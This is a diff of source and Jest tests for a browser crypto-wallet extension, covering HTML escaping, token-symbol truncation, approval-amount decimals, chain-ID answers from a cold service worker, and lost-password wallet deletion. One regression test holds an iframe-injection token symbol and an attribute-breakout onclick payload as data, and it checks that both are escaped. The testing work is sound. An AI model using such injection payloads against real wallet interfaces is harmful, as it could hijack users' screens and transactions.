return explorerDecimals(lower, sources && sources.wallets);
}
// What the amount line reads when the scale is unknown. The base units are
// exact and the caveat is part of the same string, so the number on the screen
// cannot be mistaken for a token quantity, and it can never read as zero for a
// transfer that is not zero.
function unknownDecimalsAmount(rawAmount) {
return String(rawAmount) + " base units (decimals unknown)";
}
module.exports = {
resolveTokenDecimals,
unknownDecimalsAmount,
};

41
src/shared/html.js Normal file
View File

@@ -0,0 +1,41 @@
// HTML escaping for values interpolated into an innerHTML string.
//
// Every view in src/popup/views/ builds markup by string concatenation, so
// this is the only thing standing between a value the wallet did not author
// and the extension's own DOM. The values that reach it are attacker
// controlled by design: an ERC-20's symbol() and name() are whatever the
// contract chooses to return, an ENS name is whatever the resolver returns,
// and both arrive through the block explorer with no schema.
//
// It escapes both quote characters as well as the tag delimiters, because
// the popup interpolates into attribute values as well as into element
// text — copyableHtml() writes data-copy="..." and etherscanLinkHtml()
// writes href="...". A `<`/`>`-only escape leaves an unquoted-attribute
// break-out intact, and the round trip through a detached element's
// textContent that used to implement this was exactly that escape: the
// HTML serializer only escapes `&`, `<`, `>` and U+00A0 in a text node,
// since a text node has no idea it is about to be pasted inside quotes.
//
// Deliberately a pure string function with no DOM dependency: it is called
// on every rendered row, it is unit-testable without a document, and it
// cannot be affected by the state of a document that an attacker-supplied
// string has already been written into.
const HTML_ESCAPES = {
"&": "&amp;",
"<": "&lt;",
">": "&gt;",
'"': "&quot;",
"'": "&#39;",
};
// `&` is escaped first by virtue of being in the same pass: a sequential
// replace would re-escape the ampersands it had just introduced.
function escapeHtml(s) {
if (s === null || s === undefined) return "";
return String(s).replace(/[&<>"']/g, (c) => HTML_ESCAPES[c]);
}
module.exports = {
escapeHtml,
};

View File

@@ -0,0 +1,43 @@
// The length bound on a token symbol as displayed.
//
// A symbol is whatever an ERC-20's symbol() returns and the wallet fetches
// it from the block explorer, which imposes no length: src/shared/balances.js
// takes `item.token.symbol` as given. A kilobyte-long symbol is a real
// return value, and rendering it pushes every amount off the row, scrolls
// the balance list past the screen, and hides the figures the user is there
// to read.
//
// This is a layout bound, not a security control. Escaping is what makes a
// hostile symbol inert (see src/shared/html.js), and isSpoofedSymbol() is
// what catches one impersonating a known ticker; neither job belongs here
// and neither is done here. Truncating an unescaped symbol would still be
// an injection, just a shorter one.
//
// 12 characters, which is the bound lookupTokenInfo() in
// src/shared/balances.js already applies when it stores a symbol read
// straight off a contract; the explorer path was the one with no bound at
// all. The longest symbol across the 512 entries of the bundled list is 10
// (MSYRUPUSDP), so nothing the wallet ships as a real token is ever
// truncated. The ellipsis is what tells the user the name they are looking
// at is not the whole name — worth knowing before they send to it.
const MAX_SYMBOL_LENGTH = 12;
// The placeholder for a token whose symbol the explorer did not report.
// balances.js already substitutes this; repeated here so a symbol that
// arrives empty from anywhere else displays the same way rather than as a
// blank gap in the row.
const UNKNOWN_SYMBOL = "???";
function displaySymbol(symbol) {
const s = symbol === null || symbol === undefined ? "" : String(symbol);
if (s.length === 0) return UNKNOWN_SYMBOL;
if (s.length <= MAX_SYMBOL_LENGTH) return s;
return s.slice(0, MAX_SYMBOL_LENGTH - 1) + "…";
}
module.exports = {
displaySymbol,
MAX_SYMBOL_LENGTH,
UNKNOWN_SYMBOL,
};

View File

@@ -0,0 +1,208 @@
// The quantity the dApp approval screen shows for a decoded ERC-20 call.
//
// The screen's amount line is the only place a user sees how much a page is
// asking for, and it is decoded from calldata, which carries base units and
// no scale. Issue #306: decodeCalldata read decimals from the bundled token
// list alone and fell back to 18, so a `transfer` of 5000000000 units of a
// 6-decimal token — 5,000 tokens — was displayed as `0.0000` and confirmed.
//
// What is asserted here is that the scale is found wherever the wallet
// already has it, and that where it is nowhere at all no formatted number is
// produced: the amount line has to say base units and say the scale is
// unknown, because a wrong quantity that reads as zero is worse than an
// unwieldy correct one.
globalThis.chrome = {
storage: { local: { get: async () => ({}), set: async () => {} } },
};
const { Interface } = require("ethers");
const { ERC20_ABI } = require("../src/shared/constants");
const { state } = require("../src/shared/state");
const {
resolveTokenDecimals,
unknownDecimalsAmount,
} = require("../src/shared/approvalAmount");
const { decodeCalldata } = require("../src/popup/views/approval");
const iface = new Interface(ERC20_ABI);
// Outside the bundled list, as the great majority of ERC-20s are.
const NOVEL_TOKEN = "0xE2E0000000000000000000000000000000000E2e";
// In the bundled list, at 6 decimals.
const USDC = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48";
const RECIPIENT = "0xC0FfEE0000000000000000000000000000c0fFEe";
const SPENDER = "0x1111111111111111111111111111111111111111";
// 5,000 units of a 6-decimal token, the amount from the issue.
const FIVE_THOUSAND_AT_SIX = 5000000000n;
const MAX_UINT256 = (1n << 256n) - 1n;
function transferData(amount) {
return iface.encodeFunctionData("transfer", [RECIPIENT, amount]);
}
function approveData(amount) {
return iface.encodeFunctionData("approve", [SPENDER, amount]);
}
// The Amount line as the approval screen renders it.
function amountLine(data, tokenAddress) {
const decoded = decodeCalldata(data, tokenAddress);
const detail = decoded.details.find((d) => d.label === "Amount");
return detail.value;
}
// A wallet holding `token` with the decimals the block explorer reported,
// shaped as balances.js writes it onto state.
function walletsHolding(token, decimals) {
return [
{
name: "Wallet 1",
addresses: [
{
address: "0x" + "a".repeat(40),
balance: "1.0",
tokenBalances: [
{
address: token,
symbol: "NOVEL",
decimals,
balance: "5000.0",
},
],
},
],
},
];
}
beforeEach(() => {
state.trackedTokens = [];
state.wallets = [];
});
describe("resolveTokenDecimals", () => {
test("prefers the bundled list", () => {
state.trackedTokens = [{ address: USDC, symbol: "USDC", decimals: 2 }];
expect(resolveTokenDecimals(USDC, state)).toBe(6);
});
test("reads a token the user tracks", () => {
state.trackedTokens = [
{
address: NOVEL_TOKEN.toLowerCase(),
symbol: "NOVEL",
decimals: 6,
},
];
expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBe(6);
});
test("reads the decimals the explorer reported", () => {
// Blockscout's copy arrives as a string.
state.wallets = walletsHolding(NOVEL_TOKEN, "6");
expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBe(6);
});
test("falls past a tracked entry whose decimals are unusable", () => {
state.trackedTokens = [
{ address: NOVEL_TOKEN, symbol: "NOVEL", decimals: NaN },
];
state.wallets = walletsHolding(NOVEL_TOKEN, 6);
expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBe(6);
});
test("refuses a scale the explorer's own entries disagree about", () => {
const wallets = walletsHolding(NOVEL_TOKEN, 6);
wallets[0].addresses.push({
address: "0x" + "b".repeat(40),
balance: "0.0",
tokenBalances: [
{ address: NOVEL_TOKEN, symbol: "NOVEL", decimals: 18 },
],
});
state.wallets = wallets;
expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBeNull();
});
test("rejects values that are not a uint8", () => {
for (const decimals of [-1, 256, 1.5, true, [], {}, null, "6.0", ""]) {
state.trackedTokens = [{ address: NOVEL_TOKEN, decimals }];
expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBeNull();
}
});
test("is null when nothing knows the token", () => {
expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBeNull();
});
});
describe("decodeCalldata amount", () => {
test("transfer of a tracked 6-decimal token shows the true quantity", () => {
state.trackedTokens = [
{ address: NOVEL_TOKEN, symbol: "NOVEL", decimals: 6 },
];
expect(
amountLine(transferData(FIVE_THOUSAND_AT_SIX), NOVEL_TOKEN),
).toBe("5000.0000");
});
test("transfer priced off the explorer's decimals shows the true quantity", () => {
state.wallets = walletsHolding(NOVEL_TOKEN, "6");
expect(
amountLine(transferData(FIVE_THOUSAND_AT_SIX), NOVEL_TOKEN),
).toBe("5000.0000");
});
test("transfer of an unknown-decimals token shows base units, not a number", () => {
const line = amountLine(
transferData(FIVE_THOUSAND_AT_SIX),
NOVEL_TOKEN,
);
expect(line).toBe("5000000000 base units (decimals unknown)");
expect(line).toBe(unknownDecimalsAmount(FIVE_THOUSAND_AT_SIX));
// The defect: any rendering that reads as a token quantity, and above
// all one that reads as zero.
expect(line).not.toMatch(/0\.0000/);
});
test("approve of a tracked 6-decimal token shows the true quantity", () => {
state.trackedTokens = [
{ address: NOVEL_TOKEN, symbol: "NOVEL", decimals: 6 },
];
expect(amountLine(approveData(FIVE_THOUSAND_AT_SIX), NOVEL_TOKEN)).toBe(
"5000.0000",
);
});
test("approve of an unknown-decimals token shows base units, not a number", () => {
const line = amountLine(approveData(FIVE_THOUSAND_AT_SIX), NOVEL_TOKEN);
expect(line).toBe("5000000000 base units (decimals unknown)");
expect(line).not.toMatch(/0\.0000/);
});
test("an unbounded allowance is still named, with or without a scale", () => {
expect(amountLine(approveData(MAX_UINT256), NOVEL_TOKEN)).toBe(
"Unlimited",
);
expect(amountLine(approveData(MAX_UINT256), USDC)).toBe("Unlimited");
});
test("a bundled token keeps its symbol and its scale", () => {
expect(amountLine(transferData(FIVE_THOUSAND_AT_SIX), USDC)).toBe(
"5000.0000 USDC",
);
});
test("the amount carried to the status screens is the same string", () => {
const decoded = decodeCalldata(
transferData(FIVE_THOUSAND_AT_SIX),
NOVEL_TOKEN,
);
const detail = decoded.details.find((d) => d.label === "Amount");
expect(detail.rawValue).toBe(
"5000000000 base units (decimals unknown)",
);
});
});

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// balanceLine() is the row that issue #307 was reported against: every
// screen that lists a holding renders through it, and the symbol it renders
// is whatever an ERC-20's symbol() returned. This asserts against the
// string it emits, which is what gets assigned to innerHTML.
//
// The browser half of the same claim — that a real Chrome renders that
// string as text and puts no iframe in the popup DOM — is in
// tests/e2e/run.js. This half runs inside the 20-second make test cap.
"use strict";
// helpers.js reaches for both at module scope through the modules it pulls
// in. Neither is exercised by anything asserted here.
global.chrome = {
storage: {
local: {
get: () => Promise.resolve({}),
set: () => Promise.resolve(),
},
},
runtime: { sendMessage: () => {} },
};
global.document = {
getElementById: () => null,
createElement: () => ({ style: {}, classList: { toggle() {} } }),
body: { prepend: () => {} },
addEventListener: () => {},
};
const { balanceLine } = require("../src/popup/views/helpers");
const { MAX_SYMBOL_LENGTH } = require("../src/shared/symbolDisplay");
// The payload from the issue's reproduction, verbatim.
const HOSTILE_SYMBOL =
'<iframe id="pwn" src="https://dapp.e2e.test/" ' +
'style="position:fixed;left:0;top:0;width:360px;height:600px;z-index:99999"></iframe>';
describe("balanceLine", () => {
test("emits a hostile symbol as text, not as an element", () => {
// Deliberately asserted on the escaping alone. The cap truncates
// this payload before its id attribute, so an assertion about the
// rest of the payload would pass on the cap and say nothing about
// the escape.
const html = balanceLine(HOSTILE_SYMBOL, 1, null, null);
expect(html).not.toContain("<iframe");
expect(html).toContain("&lt;iframe");
});
test("caps the symbol before rendering it", () => {
const html = balanceLine("A".repeat(4096), 1, null, null);
expect(html).toContain("A".repeat(MAX_SYMBOL_LENGTH - 1) + "…");
expect(html).not.toContain("A".repeat(MAX_SYMBOL_LENGTH + 1));
});
// The token id lands inside data-token="...", so a quote in it is a
// way out of the attribute and into a new one.
test("keeps a quote-bearing token id inside its attribute", () => {
const html = balanceLine("TKN", 1, null, '" onclick="alert(1)');
expect(html).not.toContain('onclick="');
expect(html).toContain('data-token="&quot; onclick=&quot;alert(1)"');
});
test("renders an ordinary holding unchanged", () => {
const html = balanceLine("USDC", 1.5, null, "0xabc");
expect(html).toContain("<span>USDC</span>");
expect(html).toContain("<span>1.5000</span>");
expect(html).toContain('data-token="0xabc"');
});
});

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// What eth_chainId and net_version answer on a worker that has not loaded
// state yet.
//
// The MV3 service worker is terminated when idle and revived by the next
// message, and nothing loads state at module scope. Both methods answered from
// currentNetwork(), which reads the module-level `state` singleton, so a
// worker revived by the page's own message answered out of DEFAULT_STATE and
// told a page it was on mainnet while the user was on Sepolia
// (https://git.eeqj.de/sneak/AutistMask/issues/317).
//
// This file therefore uses the REAL state module and never calls loadState()
// itself: the handler has to answer from storage on its own. Same shape as
// tests/coldWorkerChainSwitch.test.js, which covers the write side.
const { networkById } = require("../src/shared/networks");
const ADDRESS = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
const CONNECTED_ORIGIN = "https://dapp.example";
const CONNECTED_HOSTNAME = "dapp.example";
const UNKNOWN_ORIGIN = "https://stranger.example";
const MAINNET = networkById("mainnet");
const SEPOLIA = networkById("sepolia");
const REFRESHED_BALANCE = "1.5";
function storedProfile(networkId) {
return {
hasWallet: true,
wallets: [
{
name: "Wallet 1",
type: "hd",
addresses: [
{ address: ADDRESS, balance: "0", tokenBalances: [] },
],
},
],
activeAddress: ADDRESS,
networkId,
rpcUrl: networkById(networkId).defaultRpcUrl,
blockscoutUrl: networkById(networkId).defaultBlockscoutUrl,
allowedSites: { [ADDRESS]: [CONNECTED_HOSTNAME] },
deniedSites: {},
trackedTokens: [],
};
}
async function settle() {
for (let i = 0; i < 50; i++) await Promise.resolve();
}
afterEach(() => {
delete global.chrome;
});
// Load the background worker with the real state module behind it, over a
// storage stub that keeps what is written.
//
// The stub structured-clones in both directions, as the real
// chrome.storage.local does. A stub that handed back the live stored object
// would alias it into whatever read it, so an in-place mutation of a detached
// copy would appear to have reached storage and this whole class of defect
// would be invisible here.
//
// opts.refreshBalances replaces the balances stub, so a test can hold a
// refresh open across a message.
function loadColdWorker(networkId, opts) {
jest.resetModules();
const options = opts || {};
jest.doMock("../src/shared/balances", () => ({
getProvider: () => ({}),
refreshBalances: options.refreshBalances || jest.fn(async () => {}),
}));
jest.doMock("../src/shared/phishingDomains", () => ({
isPhishingDomain: () => false,
}));
let alarmHandlers = {};
jest.doMock("../src/shared/alarms", () => ({
BALANCE_REFRESH_ALARM: "balance",
BALANCE_REFRESH_PERIOD_MINUTES: 1,
ensureRecurringAlarms: jest.fn(async () => {}),
registerAlarmHandlers: jest.fn((handlers) => {
alarmHandlers = handlers;
}),
}));
const store = { autistmask: storedProfile(networkId) };
let messageListener = null;
const set = jest.fn(async (items) => {
store.autistmask = structuredClone(items.autistmask);
});
global.chrome = {
storage: {
local: {
get: jest.fn(async () => structuredClone(store)),
set,
},
},
runtime: {
getURL: (path) => "chrome-extension://autistmask/" + path,
onMessage: {
addListener: (fn) => {
messageListener = fn;
},
},
onConnect: { addListener: () => {} },
lastError: null,
},
windows: {
getLastFocused: (cb) => cb(null),
create: (options, cb) => cb({ id: 1 }),
remove: (id, cb) => {
if (cb) cb();
},
onRemoved: { addListener: () => {} },
},
tabs: {
query: (queryInfo, cb) => cb([{ id: 1 }]),
sendMessage: (tabId, message, cb) => {
if (cb) cb();
},
},
action: { setPopup: () => {} },
};
require("../src/background/index");
async function rpc(method, origin) {
let result = null;
messageListener(
{ type: "AUTISTMASK_RPC", method, params: [] },
{ origin: origin || CONNECTED_ORIGIN },
(r) => {
result = r;
},
);
await settle();
return result;
}
return {
rpc,
persisted: () => store.autistmask,
storageSet: set,
fireBalanceAlarm: () => alarmHandlers.balance(),
};
}
describe("chain identity read by a worker that never loaded state", () => {
test("eth_chainId answers the stored chain, not the default", async () => {
// The first message this worker ever sees. Reading the unloaded
// singleton answers mainnet's 0x1 to a user who is on Sepolia.
const bg = loadColdWorker("sepolia");
expect(await bg.rpc("eth_chainId")).toEqual({
result: SEPOLIA.chainId,
});
});
test("net_version answers the stored chain, not the default", async () => {
const bg = loadColdWorker("sepolia");
expect(await bg.rpc("net_version")).toEqual({
result: SEPOLIA.networkVersion,
});
});
test("answers the stored chain to an origin that never connected", async () => {
// Neither method is gated on a connection, so the stale answer reached
// any page at all; the fixed answer has to as well.
const bg = loadColdWorker("sepolia");
expect(await bg.rpc("eth_chainId", UNKNOWN_ORIGIN)).toEqual({
result: SEPOLIA.chainId,
});
expect(await bg.rpc("net_version", UNKNOWN_ORIGIN)).toEqual({
result: SEPOLIA.networkVersion,
});
});
test("answers mainnet for a profile stored on mainnet", async () => {
// The default and the stored value agree here, so this case cannot
// catch the defect; it is what keeps the fix from being a swap.
const bg = loadColdWorker("mainnet");
expect(await bg.rpc("eth_chainId")).toEqual({
result: MAINNET.chainId,
});
expect(await bg.rpc("net_version")).toEqual({
result: MAINNET.networkVersion,
});
});
test("persists nothing: these are reads", async () => {
// The load must not turn a read into a write. saveState() persists
// every field of the singleton, and a read path that reached it would
// be the wipe https://git.eeqj.de/sneak/AutistMask/issues/316 fixed.
const bg = loadColdWorker("sepolia");
await bg.rpc("eth_chainId");
await bg.rpc("net_version");
expect(bg.storageSet).not.toHaveBeenCalled();
expect(bg.persisted()).toEqual(storedProfile("sepolia"));
});
test("a chain read arriving mid-refresh does not discard the refresh", async () => {
// Any page reaches these two methods, and the injected provider sends
// eth_chainId on every page load, so this overlap is ordinary traffic
// rather than a contrived race.
//
// backgroundRefresh() hands the singleton's wallets to
// refreshBalances(), which mutates those address objects in place once
// the network round trip resolves, and only then saves. Answering the
// page by calling loadState() would replace state.wallets mid-flight,
// so the refreshed balances would land on detached objects and the
// save that follows would persist the pre-refresh values — while still
// stamping lastBalanceRefresh, suppressing the redo.
let releaseRoundTrip;
const roundTrip = new Promise((resolve) => {
releaseRoundTrip = resolve;
});
let refreshReachedNetwork;
const inFlight = new Promise((resolve) => {
refreshReachedNetwork = resolve;
});
const bg = loadColdWorker("sepolia", {
refreshBalances: async (wallets) => {
refreshReachedNetwork();
await roundTrip;
// In place, on the objects handed in — as balances.js does.
wallets[0].addresses[0].balance = REFRESHED_BALANCE;
},
});
const refresh = bg.fireBalanceAlarm();
await inFlight;
expect(await bg.rpc("eth_chainId", UNKNOWN_ORIGIN)).toEqual({
result: SEPOLIA.chainId,
});
releaseRoundTrip();
await refresh;
expect(bg.persisted().wallets[0].addresses[0].balance).toBe(
REFRESHED_BALANCE,
);
});
});

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@@ -0,0 +1,503 @@
// The lost-password route off the delete-wallet screen (issue #312).
//
// What is pinned here is that a user who has forgotten the password can
// still get out — no password is asked for and none is checked — and that
// the escape hatch destroys exactly the wallet it names and nothing else.
// The second half is the dangerous one: this is the only control in the
// product that erases key material without the password that encrypted it,
// so an off-by-one in the wallet it removes would take a wallet whose
// owner never asked for it to be touched.
//
// The assertions are made against what came back OUT of extension storage,
// not against the live `state` object. Deleting a wallet in memory and
// never persisting it looks identical from `state`, and a build that never
// wrote at all would pass a check that only reads `state` back.
//
// That makes the storage stub load-bearing, so it is a real store that
// structured-clones on both `set` and `get`. A stub whose `get` hands back
// the same object its `set` was given aliases the caller's own array: the
// test then reads its own in-memory mutation and calls it persistence, and
// passes against a build that persists nothing (see issue #324). The
// aliasing is closed off explicitly by the first test below rather than
// left as an assumption about `structuredClone`.
//
// The view is driven against a minimal DOM stub, in the same shape as
// tests/exportPrivkey.test.js: the module reads and writes named nodes and
// needs nothing else from a document.
const mockSettingsShow = jest.fn();
jest.mock("../src/popup/views/settings", () => ({
show: mockSettingsShow,
}));
jest.mock("../src/shared/vault", () => ({
decryptWithPassword: jest.fn(),
}));
const { RESTORABLE_VIEWS } = require("../src/popup/restorableViews");
const VIEW = "delete-wallet-lost-password";
// Fixed addresses — never used for anything but these tests.
const A0 = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
const A1 = "0xdAC17F958D2ee523a2206206994597C13D831ec7";
const B0 = "0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599";
const C0 = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48";
// ------------------------------------------------------------ DOM stub
function makeElement(id) {
const classes = new Set();
const el = {
id,
textContent: "",
value: "",
innerHTML: "",
disabled: false,
style: {},
dataset: {},
listeners: {},
classList: {
add: (...names) => names.forEach((n) => classes.add(n)),
remove: (...names) => names.forEach((n) => classes.delete(n)),
contains: (n) => classes.has(n),
toggle: (n, force) => {
const on = force === undefined ? !classes.has(n) : force;
if (on) classes.add(n);
else classes.delete(n);
return on;
},
},
addEventListener: (name, fn) => {
el.listeners[name] = el.listeners[name] || [];
el.listeners[name].push(fn);
},
appendChild: () => {},
remove: () => {},
querySelectorAll: () => [],
};
return el;
}
function makeDocument() {
const els = new Map();
return {
getElementById(id) {
// The debug banner is created on demand by helpers.js; absent
// is the state a non-debug, non-testnet popup is in.
if (id === "debug-banner") return null;
if (!els.has(id)) els.set(id, makeElement(id));
return els.get(id);
},
createElement: () => makeElement("created"),
addEventListener: () => {},
body: { prepend: () => {} },
};
}
// --------------------------------------------------------- storage stub
// A store that behaves the way `chrome.storage.local` does: what goes in is
// serialized, so the caller keeps no handle on what came to rest there, and
// what comes out is a fresh object the caller may mutate freely.
function makeStorage() {
let store = {};
return {
get: async (keys) => {
const wanted =
keys === undefined || keys === null
? Object.keys(store)
: [].concat(keys);
const out = {};
for (const key of wanted) {
if (key in store) out[key] = structuredClone(store[key]);
}
return out;
},
set: async (items) => {
for (const [key, value] of Object.entries(items)) {
store[key] = structuredClone(value);
}
},
// Test-only: what the extension would find on a cold start.
_raw: () => structuredClone(store),
};
}
// ------------------------------------------------------------ harness
function wallet(name, secret, addresses) {
return {
type: "hd",
name,
xpub: "xpub-" + name,
encryptedSecret: secret,
nextIndex: addresses.length,
addresses: addresses.map((address) => ({
address,
balance: "0.0000",
tokenBalances: [],
})),
};
}
function load() {
jest.resetModules();
mockSettingsShow.mockClear();
const storage = makeStorage();
const sent = [];
globalThis.chrome = {
storage: { local: storage },
runtime: { sendMessage: (msg) => sent.push(msg) },
};
globalThis.document = makeDocument();
const helpers = require("../src/popup/views/helpers");
const { state } = require("../src/shared/state");
const vault = require("../src/shared/vault");
const deleteWallet = require("../src/popup/views/deleteWallet");
state.hasWallet = true;
state.wallets = [
wallet("Wallet 1", "secret-one", [A0, A1]),
wallet("Wallet 2", "secret-two", [B0]),
wallet("Wallet 3", "secret-three", [C0]),
];
state.selectedWallet = 0;
state.selectedAddress = 0;
state.activeAddress = A0;
state.allowedSites = { [A0]: ["a.example"], [B0]: ["b.example"] };
state.deniedSites = { [B0]: ["c.example"], [C0]: ["d.example"] };
state.viewStack = ["main", "settings"];
state.currentView = "settings";
const renderWalletList = jest.fn();
deleteWallet.init({ renderWalletList });
return { helpers, state, vault, deleteWallet, storage, sent };
}
function click(id) {
const el = globalThis.document.getElementById(id);
return Promise.all((el.listeners.click || []).map((fn) => fn()));
}
function node(id) {
return globalThis.document.getElementById(id);
}
// The wallets as the extension would read them back on a cold start.
async function persistedWallets(storage) {
const result = await storage.get("autistmask");
return result.autistmask.wallets;
}
// Open the lost-password screen for a wallet, the way the user does.
async function openLostPassword(deleteWallet, walletIdx) {
deleteWallet.show(walletIdx);
await click("btn-delete-wallet-lost-password");
}
// ------------------------------------------------------------ tests
// The stub is what every persistence assertion below rests on, so its one
// dangerous failure mode is closed off first. An aliasing store passes
// every other test in this file against a build that never writes.
describe("the storage stub", () => {
test("does not hand back the object it was given", async () => {
const storage = makeStorage();
const written = { wallets: [{ name: "Wallet 1" }] };
await storage.set({ autistmask: written });
written.wallets.push({ name: "Wallet 2" });
written.wallets[0].name = "renamed after the write";
const readBack = (await storage.get("autistmask")).autistmask;
expect(readBack.wallets).toHaveLength(1);
expect(readBack.wallets[0].name).toBe("Wallet 1");
// And the other direction: mutating what came out must not reach
// back into the store.
readBack.wallets[0].name = "renamed after the read";
const again = (await storage.get("autistmask")).autistmask;
expect(again.wallets[0].name).toBe("Wallet 1");
});
});
describe("reaching the screen", () => {
test("the delete screen offers the route", async () => {
const { deleteWallet, state } = load();
await openLostPassword(deleteWallet, 1);
expect(state.currentView).toBe(VIEW);
expect(node("delete-wallet-lost-name").textContent).toBe("Wallet 2");
expect(node("delete-wallet-lost-name-echo").textContent).toBe(
"Wallet 2",
);
});
// Both delete screens hang off Settings. Pushing one onto the other
// would leave Back on the confirm screen popping onto itself.
test("it does not push the screen it came from", async () => {
const { deleteWallet, state } = load();
await openLostPassword(deleteWallet, 1);
expect(state.viewStack).toEqual(["main", "settings"]);
});
test("Back returns to the delete screen with its wallet still chosen", async () => {
const { deleteWallet, state } = load();
await openLostPassword(deleteWallet, 1);
await click("btn-delete-wallet-lost-back");
expect(state.currentView).toBe("delete-wallet-confirm");
expect(node("delete-wallet-name").textContent).toBe("Wallet 2");
expect(state.viewStack).toEqual(["main", "settings"]);
// The confirm screen is usable, not merely on screen: the wallet
// it holds is the one that was chosen, so its own button does not
// answer "No wallet selected for deletion."
node("delete-wallet-password").value = "some password";
const { decryptWithPassword } = require("../src/shared/vault");
decryptWithPassword.mockRejectedValue(new Error("nope"));
await click("btn-delete-wallet-confirm");
expect(node("delete-wallet-flash").textContent).toBe(
"That password is incorrect. Please try again.",
);
});
});
describe("the typed confirmation", () => {
test("a name that is not the wallet's deletes nothing", async () => {
const { deleteWallet, state, storage } = load();
await openLostPassword(deleteWallet, 1);
node("delete-wallet-lost-name-input").value = "Wallet 3";
await click("btn-delete-wallet-lost-confirm");
expect(node("delete-wallet-lost-flash").textContent).toBe(
"That is not the name of this wallet. Type Wallet 2 to confirm.",
);
expect(node("delete-wallet-lost-flash").style.visibility).toBe(
"visible",
);
expect(state.wallets.map((w) => w.name)).toEqual([
"Wallet 1",
"Wallet 2",
"Wallet 3",
]);
expect(state.currentView).toBe(VIEW);
// Nothing was destroyed on disk either. Storage is not empty —
// showView() persists the current screen on the way in — so what
// is asserted is that all three wallets are still in it.
const persisted = await persistedWallets(storage);
expect(persisted.map((w) => w.encryptedSecret)).toEqual([
"secret-one",
"secret-two",
"secret-three",
]);
});
test("an empty field deletes nothing", async () => {
const { deleteWallet, state } = load();
await openLostPassword(deleteWallet, 1);
await click("btn-delete-wallet-lost-confirm");
expect(node("delete-wallet-lost-flash").style.visibility).toBe(
"visible",
);
expect(state.wallets).toHaveLength(3);
});
// Not a secret and not a password: it asks whether the user knows
// which wallet they are on. Refusing the name they can plainly read,
// over letter case, would only teach them to distrust the control.
test("case and surrounding spaces do not matter", async () => {
const { deleteWallet, state, storage } = load();
await openLostPassword(deleteWallet, 1);
node("delete-wallet-lost-name-input").value = " wALLet 2 ";
await click("btn-delete-wallet-lost-confirm");
expect(state.wallets.map((w) => w.name)).toEqual([
"Wallet 1",
"Wallet 3",
]);
expect(await persistedWallets(storage)).toHaveLength(2);
});
// A name with a doubled inner space RENDERS with one — HTML collapses
// runs of whitespace — so the string the user can see and type is not
// the string the name is stored as. Comparing the two raw would make
// this wallet's confirmation impossible to satisfy by any typing at
// all, wedging the one screen that exists to unwedge people.
test("a doubled space inside the name is typed back as one", async () => {
const { deleteWallet, state, storage } = load();
state.wallets[1].name = "My Wallet";
await openLostPassword(deleteWallet, 1);
// What the DOM was handed still has both spaces; what the user
// reads off the screen, and therefore types, has one.
expect(node("delete-wallet-lost-name").textContent).toBe("My Wallet");
node("delete-wallet-lost-name-input").value = "My Wallet";
await click("btn-delete-wallet-lost-confirm");
expect(state.wallets.map((w) => w.name)).toEqual([
"Wallet 1",
"Wallet 3",
]);
const persisted = await persistedWallets(storage);
expect(persisted.map((w) => w.encryptedSecret)).toEqual([
"secret-one",
"secret-three",
]);
});
});
describe("deleting without the password", () => {
test("no password is asked for and none is checked", async () => {
const { deleteWallet, vault, storage } = load();
await openLostPassword(deleteWallet, 1);
node("delete-wallet-lost-name-input").value = "Wallet 2";
await click("btn-delete-wallet-lost-confirm");
expect(vault.decryptWithPassword).not.toHaveBeenCalled();
expect(await persistedWallets(storage)).toHaveLength(2);
});
// The load-bearing assertion of the whole file, and the one that says
// this control is safe to give a user who cannot prove anything: it
// removes the wallet it named, and every other wallet survives intact,
// key material included.
test("exactly the named wallet is destroyed", async () => {
const { deleteWallet, storage } = load();
await openLostPassword(deleteWallet, 1);
node("delete-wallet-lost-name-input").value = "Wallet 2";
await click("btn-delete-wallet-lost-confirm");
const wallets = await persistedWallets(storage);
expect(wallets.map((w) => w.name)).toEqual(["Wallet 1", "Wallet 3"]);
expect(wallets.map((w) => w.encryptedSecret)).toEqual([
"secret-one",
"secret-three",
]);
expect(wallets.map((w) => w.xpub)).toEqual([
"xpub-Wallet 1",
"xpub-Wallet 3",
]);
expect(wallets[0].addresses.map((a) => a.address)).toEqual([A0, A1]);
expect(wallets[1].addresses.map((a) => a.address)).toEqual([C0]);
// The deleted wallet's secret is gone from storage entirely, not
// merely unreferenced by the wallet list.
expect(JSON.stringify(storage._raw())).not.toContain("secret-two");
expect(JSON.stringify(storage._raw())).not.toContain("xpub-Wallet 2");
});
test("only the deleted wallet's site permissions are dropped", async () => {
const { deleteWallet, storage } = load();
await openLostPassword(deleteWallet, 1);
node("delete-wallet-lost-name-input").value = "Wallet 2";
await click("btn-delete-wallet-lost-confirm");
const saved = (await storage.get("autistmask")).autistmask;
expect(saved.allowedSites).toEqual({ [A0]: ["a.example"] });
expect(saved.deniedSites).toEqual({ [C0]: ["d.example"] });
});
// The route shares finishDelete() with the password route, so the
// selection repair and the accountsChanged broadcast are the same on
// both. Deleting a wallet that did not own the active address must
// leave that address, and the selection, exactly where they were.
test("a selection in another wallet is left alone", async () => {
const { deleteWallet, storage, sent } = load();
await openLostPassword(deleteWallet, 1);
node("delete-wallet-lost-name-input").value = "Wallet 2";
await click("btn-delete-wallet-lost-confirm");
const saved = (await storage.get("autistmask")).autistmask;
expect(saved.activeAddress).toBe(A0);
expect(saved.selectedWallet).toBe(0);
expect(saved.selectedAddress).toBe(0);
expect(sent).toEqual([]);
// Settings is stubbed, so this is where the route hands over, not
// where it renders.
expect(mockSettingsShow).toHaveBeenCalled();
});
test("deleting the wallet holding the active address moves it and says so", async () => {
const { deleteWallet, storage, sent } = load();
await openLostPassword(deleteWallet, 0);
node("delete-wallet-lost-name-input").value = "Wallet 1";
await click("btn-delete-wallet-lost-confirm");
const saved = (await storage.get("autistmask")).autistmask;
expect(saved.wallets.map((w) => w.name)).toEqual([
"Wallet 2",
"Wallet 3",
]);
expect(saved.activeAddress).toBe(B0);
expect(sent).toEqual([{ type: "AUTISTMASK_ACTIVE_CHANGED" }]);
});
test("deleting the last wallet lands on Welcome with nothing left", async () => {
